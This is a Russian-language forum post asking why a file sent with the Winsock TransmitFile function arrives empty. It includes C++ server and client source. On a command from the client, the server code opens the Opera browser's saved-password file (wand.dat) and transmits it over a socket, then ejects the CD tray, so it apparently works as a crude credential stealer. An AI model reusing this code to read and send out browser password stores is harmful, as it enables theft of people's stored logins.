Модераторы: feodorv
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Передача файлов с помощью TransmitFile 
:(
    Опции темы
Nikita0007
Дата 31.8.2010, 19:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 52
Регистрация: 23.4.2010

Репутация: нет
Всего: нет



Ребят помогите разобраться.Подскажите как передать файл с помощью TransmitFile.
Я пробывал делать вот так:
вот код сервера
Код

 
#include <cstdlib>
#include <iostream>
#include <winsock2.h>
#include "stdio.h"
#include "conio.h"
#include "windows.h"
#include <mmsystem.h> 
#include <winbase.h>
#include <Mswsock.h>
using namespace std;
int main(int argc, char *argv[])
{
HANDLE hFile;
LPOFSTRUCT lpReOpenBuff;
 char Head [20]; 
  char Tail [20]; 
  strcpy (Head,"BeginTransmitFile"); 
  strcpy (Tail,"EndTransmitFile");
_TRANSMIT_FILE_BUFFERS tB;
 tB.Head = Head; 
 tB.HeadLength = sizeof (Head);
tB.Tail = Tail; 
 tB.TailLength = sizeof (Tail);
MCI_OPEN_PARMS OpenParm;
MCI_SET_PARMS SetParm;
MCIDEVICEID dID;
    SOCKET client,s;
    struct sockaddr_in addr;
    int rc=NO_ERROR;
    char buf[1];
    WSADATA wsa;
    int err;
    err=0;
addr.sin_family=AF_INET;
addr.sin_port=htons(7500);
addr.sin_addr.s_addr=htonl(INADDR_ANY);
    err=WSAStartup(MAKEWORD(2,2),&wsa);
    if(err!=0)
    {
              printf("oshibka");
              _getch();
              }
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (INVALID_SOCKET==s)
    {
        printf( "Error socket!: %ld\n", WSAGetLastError());
        WSACleanup();
        return EXIT_FAILURE;
    }
if(bind(s,(SOCKADDR*)&addr,sizeof(addr))==SOCKET_ERROR)
{
printf("dont bind");
_getch();
closesocket(s);
WSACleanup();
return EXIT_FAILURE;                                                    
}
rc=listen(s,10);
 if(rc==SOCKET_ERROR)
    {
        printf("ошибка вызова listen\n");
        closesocket(s);
        WSACleanup();
        return EXIT_FAILURE;
    }
client=accept(s,NULL,NULL);
if(client<0)
    {
        printf("ошибка вызова accept\n");
        closesocket(client);
        WSACleanup();
        return EXIT_FAILURE;
    }
rc = recv(client, buf, 1, 0); 
if(rc<=0)
  {
  printf("oshibka vizova");        
   closesocket(client);
   WSACleanup();
   return EXIT_FAILURE;
  }
  else
  {
  printf("da");
  } 
if(buf[0]=='1')
{
hFile=CreateFile("C:\\Documents and Settings\\Никита\\Application Data\\Opera\\Opera\\profile\\wand.dat",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile != INVALID_HANDLE_VALUE)
{
printf("yes");
}
TransmitFile(client,hFile,0,1024,0,&tB,TF_REUSE_SOCKET);
OpenParm.lpstrDeviceType="CDAudio";
}
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, (DWORD_PTR)&OpenParm); 
dID = OpenParm.wDeviceID; 
mciSendCommand(dID, MCI_SET, MCI_SET_DOOR_OPEN,(DWORD_PTR)&SetParm);
_getch();
closesocket(s);
WSACleanup();
return 0;
}

вот код клиента:
Код

 
#include <stdio.h>
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <Mswsock.h>
#define eof -1
int main(int argc, char* argv[])
{
    HANDLE hFile;
    DWORD vwCounter;
    OFSTRUCT tOfStr;
    SOCKET NewSocket;
        SOCKADDR_IN rmaddr;
    WSADATA wsa;
    int err,i,error;
    int rc=NO_ERROR;
    char s[10];
    char buf[12000];
    err=WSAStartup(MAKEWORD(2,2), &wsa);
    if (err!=0)
    {printf("oshibka\n");
    _getch();
}
    else
 {printf("biblioteka zagruzhena\n");
 _getch();
        }
    NewSocket = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
    rmaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
        rmaddr.sin_family = AF_INET;
        rmaddr.sin_port = htons(7500);
if(connect(NewSocket,(struct sockaddr *)&rmaddr,sizeof(rmaddr))==SOCKET_ERROR)
{
printf("oshibka");
_getch();
}
else
{
printf("connect\n");
_getch();
}
    scanf("%s",&s[0]);
    error=send(NewSocket,s,strlen(s),0);
    if(SOCKET_ERROR==error)
    {
    printf("oshibka");
    _getch();
    closesocket(NewSocket);
    WSACleanup();
    return EXIT_FAILURE;
}
    else
    {
    printf("otpravil");
    }
      rc = recv(NewSocket,buf,1024, 0);
if(rc<=0)
  {
  printf("oshibka vizova");        
   closesocket(NewSocket);
   WSACleanup();
   return EXIT_FAILURE;
  }
  else
  {
  printf("da");
}
    rc = recv(NewSocket,buf,1024, 0);
if(rc<=0)
  {
  printf("oshibka vizova");        
   closesocket(NewSocket);
   WSACleanup();
   return EXIT_FAILURE;
  }
  else
  {
  printf("da");
  hFile=CreateFile("file1.dat",GENERIC_READ |GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, CREATE_NEW,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, 0);
  if(hFile != INVALID_HANDLE_VALUE)
  {
  printf("yes");
}
  printf("%s",buf);
  _getch();
  OpenFile("file1.dat",&tOfStr,OF_READWRITE | OF_SHARE_EXCLUSIVE);
WriteFile(hFile,&buf,1024,&vwCounter,NULL);
  CloseHandle(hFile);
  } 
    closesocket(NewSocket);
        return 0;
}

у меня с вервера на клиент вроде все передается, но только файл почему то всегда имеет размер в 0 байт. Подскажите пожалуйста где у меня ошибка.
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Сети | Следующая тема »


 




[ Время генерации скрипта: 0.0651 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.